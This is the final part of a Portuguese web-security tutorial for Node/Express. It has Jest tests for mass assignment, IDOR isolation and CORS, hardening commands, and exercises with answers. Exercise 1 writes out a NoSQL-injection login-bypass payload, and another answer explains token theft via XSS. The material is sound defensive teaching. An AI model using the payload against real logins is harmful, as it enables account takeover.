});
it("aplica trim e os defaults do schema", async () => {
const { auth } = await usuarioComToken();
const resposta = await request(criarApp())
.post("/tarefas")
.set("Authorization", auth)
.send({ titulo: " Com espaços " });
expect(resposta.status).toBe(201);
expect(resposta.body.titulo).toBe("Com espaços");
expect(resposta.body.status).toBe("pendente");
expect(resposta.body.prioridade).toBe("media");
});
it("ignora campo não declarado no schema", async () => {
const { auth } = await usuarioComToken();
const resposta = await request(criarApp())
.post("/tarefas")
.set("Authorization", auth)
.send({ titulo: "ok", usuario: "6512f0000000000000000000", admin: true });
expect(resposta.status).toBe(201);
// mass assignment barrado: o dono é o do token, não o do corpo
const gravada = await Tarefa.findById(resposta.body._id);
expect(gravada.usuario.toString()).not.toBe("6512f0000000000000000000");
});
});
describe("4 — isolamento por usuário", () => {
it("tarefa de outro usuário responde 404, nunca 403", async () => {
const ana = await usuarioComToken({ email: "ana@teste.com" });
const bruno = await usuarioComToken({ email: "bruno@teste.com" });
const doBruno = await Tarefa.create({ titulo: "Segredo", usuario: bruno.usuario._id });
const resposta = await request(criarApp())
.get(`/tarefas/${doBruno._id}`)
.set("Authorization", ana.auth);
expect(resposta.status).toBe(404);
expect(resposta.status).not.toBe(403);
});
it("a listagem nunca vaza tarefa alheia", async () => {
const ana = await usuarioComToken({ email: "ana@teste.com" });
const bruno = await usuarioComToken({ email: "bruno@teste.com" });
await Tarefa.create({ titulo: "Da Ana", usuario: ana.usuario._id });
await Tarefa.create({ titulo: "Do Bruno", usuario: bruno.usuario._id });
const resposta = await request(criarApp()).get("/tarefas").set("Authorization", ana.auth);
expect(resposta.body.dados.map((t) => t.titulo)).toEqual(["Da Ana"]);
});
});
describe("5 — CORS", () => {
it("libera a origem configurada", async () => {
const resposta = await request(criarApp())
.get("/health")
.set("Origin", "http://localhost:5173");
expect(resposta.headers["access-control-allow-origin"]).toBe("http://localhost:5173");
});
it("não devolve o cabeçalho para origem estranha", async () => {
const resposta = await request(criarApp())
.get("/health")
.set("Origin", "https://site-malicioso.com");
expect(resposta.headers["access-control-allow-origin"]).toBeUndefined();
});
it("requisição sem Origin (curl) passa", async () => {
const resposta = await request(criarApp()).get("/health");
expect(resposta.status).toBe(200);
});
});
describe("corpo grande", () => {
it("recusa payload acima do limite", async () => {
const { auth } = await usuarioComToken();
const resposta = await request(criarApp())
.post("/tarefas")
.set("Authorization", auth)
.send({ titulo: "x", descricao: "a".repeat(200_000) });
expect(resposta.status).toBe(413);
});
});
// 4 — CONFERINDO O ISOLAMENTO NA MÃO
//
// # token da Ana pedindo a tarefa do Bruno
// curl -s -o /dev/null -w "%{http_code}\n" \
// -H "Authorization: Bearer $TOKEN_ANA" \
// https://sua-api.railway.app/tarefas/$ID_DA_TAREFA_DO_BRUNO
// 404
//
// 6 — AUDITORIA DE DEPENDÊNCIAS
//
// npm audit --audit-level=high
// npm audit fix # só o que é compatível
// npm audit fix --force # QUEBRA versões maiores; leia o diff antes
//
// No pipeline, `npm audit --audit-level=high` como step: falha o build quando
// aparece vulnerabilidade alta, em vez de esperar alguém rodar à mão.
//
// 7 — O .env NO GIT
//
// git ls-files | grep -E "^\.env|/\.env" # tem de sair vazio
//
// Se aparecer, o estrago já está feito: remover agora não apaga do histórico.
//
// git rm --cached .env
// echo ".env" >> .gitignore
//
// E então **rotacione tudo** que estava lá — JWT_SECRET, senha do banco, chaves
// de API. O commit continua no histórico, em cada clone e em cada fork.
// ---- saída real
// Test Suites: 1 passed, 1 total
// Tests: 15 passed, 15 total
Duas escolhas do enunciado que parecem detalhe e não são. 404, e nunca 403, para recurso de outro usuário: o 403 confirma que aquele id existe, e essa confirmação já é vazamento — dá para enumerar a base inteira com ela. E validar substituindo req.body pelo objeto que o Zod devolveu: é o que aplica trim, lowercase e defaults, e é o que barra mass assignment — mandar usuario ou admin no corpo deixa de ter efeito porque o campo simplesmente não existe no schema. Validar e continuar usando o corpo original é validar por enfeite.
Segurança não é uma lista de itens a instalar, é a suposição de que toda entrada é hostil até prova em contrário — e a prova acontece no servidor, porque o cliente inteiro está sob controle de quem ataca. As camadas vistas aqui repetem essa ideia em pontos diferentes: validar o formato, escapar na saída, limitar tentativas, restringir origem e conferir se este usuário pode mesmo ver este registro, que é a falha mais comum e a menos comentada de todas.
Fontes e Referências
- OWASP Top 10: https://owasp.org/www-project-top-ten
- OWASP Cheat Sheet — Authentication: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- Helmet.js: https://helmetjs.github.io
- express-rate-limit: https://github.com/express-rate-limit/express-rate-limit
- Zod — Documentação: https://zod.dev
- DOMPurify: https://github.com/cure53/DOMPurify
- bcrypt — Por que fator 12: https://security.stackexchange.com/questions/17207
- npm audit: https://docs.npmjs.com/cli/v10/commands/npm-audit
- The Web Application Hacker's Handbook — Stuttard e Pinto (Wiley)
- Node.js Security — Liran Tal (Leanpub)
Exercícios
Exercício 1
O login compara email e senha direto no banco. Sem saber nenhuma senha, o atacante envia este corpo e entra. Como?
POST /login
Content-Type: application/json
{ "email": { "$gt": "" }, "senha": { "$gt": "" } }
Ver resposta
✓ Resposta: Porque express.json() aceita qualquer estrutura JSON, inclusive objetos aninhados, e o código repassa esse objeto direto ao findOne. O MongoDB então não recebe os valores email e senha: recebe os operadores $gt, e a consulta passa a significar "qualquer documento cujo email seja maior que string vazia" — o que é verdade para todos. O findOne devolve o primeiro usuário do banco, a condição if (usuario) passa, e o atacante recebe um token válido, normalmente do usuário mais antigo — que costuma ser justamente o administrador. É a NoSQL injection, e ela não precisa de caractere especial nem de string malformada: precisa apenas que um objeto chegue onde se esperava texto. A defesa tem duas camadas. A imediata é verificar o tipo antes de usar: typeof email !== 'string' derruba o ataque inteiro, porque todo operador do MongoDB é objeto. A estrutural é validar o corpo com um esquema — Zod ou equivalente — na entrada de toda rota, o que resolve essa e várias outras classes de problema de uma vez. E vale reter o princípio: o formato do dado é tão importante quanto o conteúdo, e quase toda injeção começa com um valor que chegou num tipo inesperado.
Exercício 2
O token do usuário é guardado no localStorage e enviado no cabeçalho Authorization. O artigo diz que isso é imune a CSRF. Está correto — mas o que essa escolha custa?
// no login
localStorage.setItem('token', resposta.token);
// em toda requisição
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
Ver resposta
✓ Resposta: Custa exposição a XSS. A imunidade a CSRF é real e vem de um fato simples: o navegador anexa cookies sozinho a toda requisição para o domínio, mas nunca inventa um cabeçalho Authorization — então um site malicioso não consegue agir em nome do usuário. O preço é que, para enviar esse cabeçalho, o JavaScript precisa ler o token; e tudo que o seu JavaScript lê, o JavaScript injetado também lê. Um único XSS — num comentário, numa dependência comprometida, num script de terceiros — roda localStorage.getItem('token') e leva a sessão inteira para outro servidor, sem deixar rastro e sem depender de o usuário fazer nada. Um cookie httpOnly, ao contrário, é invisível ao JavaScript: nem o código legítimo nem o injetado o alcançam, e o navegador o anexa sozinho. Em troca, volta a exigir defesa contra CSRF, com SameSite e token de verificação. A conclusão não é que uma opção vença a outra, e sim que não existe escolha gratuita: localStorage troca CSRF por XSS. O que as duas abordagens compartilham é a mitigação que mais vale: token de vida curta, de minutos, com renovação — porque limita o estrago quando o roubo acontece, e ele acontece.
Exercício 3
Este endpoint deixa qualquer usuário autenticado ler o pedido de qualquer outro. O middleware de autenticação está funcionando. Onde está a falha?
router.get('/pedidos/:id', autenticar, async (req, res) => {
const pedido = await Pedido.findById(req.params.id);
if (!pedido) return res.status(404).json({ erro: 'Pedido não encontrado.' });
res.json(pedido);
});
Ver resposta
✓ Resposta: A rota confere autenticação e esquece a autorização. O middleware responde "quem é você?" e faz isso direito; ninguém responde "você pode ver este registro?". Qualquer pessoa com uma conta legítima troca o id na URL e lê o pedido alheio — com endereço, valor e itens. A falha tem nome, IDOR (referência direta e insegura a objeto), e lidera as listas da OWASP sob o rótulo de controle de acesso quebrado, por dois motivos: é trivial de explorar, bastando incrementar um número, e é invisível nos testes, porque cada desenvolvedor testa com a própria conta e vê apenas os próprios dados. A correção é incluir o dono na consulta, e não conferir depois: Pedido.findOne({ _id: req.params.id, usuario: req.usuario._id }). Assim o registro de outro usuário simplesmente não é encontrado, e a resposta é 404 — o que também é melhor do que 403, porque não confirma ao atacante que aquele id existe. Duas observações práticas: usar ObjectId em vez de id sequencial dificulta a enumeração, mas não é controle de acesso, é apenas obscuridade; e a verificação precisa valer para todos os verbos, já que é comum proteger o GET e esquecer o PUT e o DELETE, onde o estrago é maior.
Exercício 4
O CSP foi configurado e a página carrega, mas todas as fontes aparecem com a tipografia padrão do navegador. O console mostra bloqueios. O que está errado?
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
fontSrc: ["'self'", 'https://fonts.googleapis.com'],
},
})
Ver resposta
✓ Resposta: Os dois domínios do Google Fonts estão trocados de lugar. O fonts.googleapis.com serve apenas a folha de estilo, aquele CSS com as regras @font-face; os arquivos de fonte propriamente ditos vêm de fonts.gstatic.com. Com a configuração acima, o CSS nem chega — porque styleSrc não lista o googleapis — e, se chegasse, as fontes seriam bloqueadas por não estarem em fontSrc. O correto é styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'] e fontSrc: ["'self'", 'https://fonts.gstatic.com']. É o engano mais comum ao ativar CSP, e o sintoma engana porque a página continua funcionando — só fica com a aparência errada. Duas observações sobre CSP que economizam tempo. A primeira é que diretiva ausente herda o defaultSrc, então esquecer connectSrc num app que chama uma API em outro domínio quebra todas as requisições. A segunda é o modo de implantação: começar com Content-Security-Policy-Report-Only, que apenas relata as violações sem bloquear nada, permite ajustar a política observando o tráfego real antes de ligá-la de verdade — ligar direto num app existente costuma derrubar meia aplicação.
Exercício 5
A senha é guardada com hash. Mesmo assim, um vazamento do banco compromete as contas rapidamente. Por quê?
const crypto = require('crypto');
function guardarSenha(senha) {
return crypto.createHash('sha256').update(senha).digest('hex');
}
Ver resposta
✓ Resposta: Porque SHA-256 é um algoritmo de resumo, projetado para ser rápido — e velocidade é exatamente o oposto do que se quer aqui. Uma placa de vídeo comum calcula bilhões de hashes SHA-256 por segundo, então testar uma lista de senhas vazadas contra o banco inteiro é questão de minutos. Falta também o sal: sem ele, senhas iguais produzem hashes iguais, o que permite ver quais contas compartilham a mesma senha e usar tabelas pré-computadas, as rainbow tables. O algoritmo certo é feito para ser lento e ajustável — bcrypt, scrypt ou Argon2 —, e o bcrypt embute o sal aleatório no próprio hash, além de um fator de custo que se aumenta conforme o hardware evolui. O fator 12 do artigo significa 2¹² iterações, algo em torno de 200 a 300 milissegundos por verificação: irrelevante para um login legítimo, proibitivo para quem quer testar milhões de tentativas. Três complementos valem: o bcrypt.compare deve ser usado em vez de comparar hashes com ===, porque ele faz a comparação em tempo constante; o bcrypt ignora o que passar de 72 bytes, o que importa para quem aceita frases longas como senha; e nada disso substitui a defesa que mais reduz dano na prática, que é limitar tentativas de login por conta e por IP.